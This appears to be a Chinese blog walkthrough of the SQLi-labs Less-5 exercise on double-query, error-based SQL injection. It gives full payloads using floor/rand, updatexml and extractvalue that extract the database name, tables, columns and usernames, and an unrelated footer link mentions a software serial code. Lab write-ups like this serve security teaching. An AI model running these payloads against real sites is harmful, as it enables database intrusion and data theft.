首页 技术 正文
技术 2022年11月14日
0 收藏 937 点赞 3,560 浏览 1326 个字

考查点:双查询报错注入

1.先判断注入类型

  Less(5)

  (1)首先看到要求,要求传一个ID参数,并且要求是数字型的;?id=1

    Less(5)

  (2)再输入?id=1′

    Less(5)

    显示报错,报错多了一个单引号

  (3)再输入?id=1”

    Less(5)

   判断是字符型注入

2.对列数进行判断    

  (1)输入?id=1′ order by 3 –+

    Less(5)

  (2)输入?id=1′ order by 4 –+

    Less(5)

  判断是3列

3.因为页面正常的时候,均无输出部分,判断应该没有显示位,此时可尝试报错注入。

    Less(5)

4.常用的报错语句模板:

  (1)通过floor报错

    ①and (select 1 from (select count(),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)

    ②其中payload为你要插入的SQL语句

    ③需要注意的是该语句将 输出长度限制在64个字符

  (2)通过updatexml报错

    ①and updatexml(1,payload,1)

    ②同样盖语句对输出的字符长度也做了限制,其最长输出32位

    ③并且该语句对payload的返回类型也做了 限制

   (3)通过extractvalue 报错

    ①and extractvalue(1,payload)

    ②输出字符有长度限制,最长32位

5.我们用floor进行注入

  (1)注当前的数据库名:?id=-1′ union select 1,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x; –+

    Less(5)

  (2)爆注册表:?id=-1′ union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=”security” limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; –+

    Less(5)

  (3)注某张表的字段,这里以users为例:?id=-1′ union select 1,count(*),concat((select column_name from information_schema.columns where table_name=’users’ limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; –+

    Less(5)

  (4)注字段的值,这里以users表里的username为例:?id=-1′ union select 1,count(*),concat((select username from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; –+

    Less(5)

相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:8,912
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,436
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,251
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,063
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:7,694
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:4,732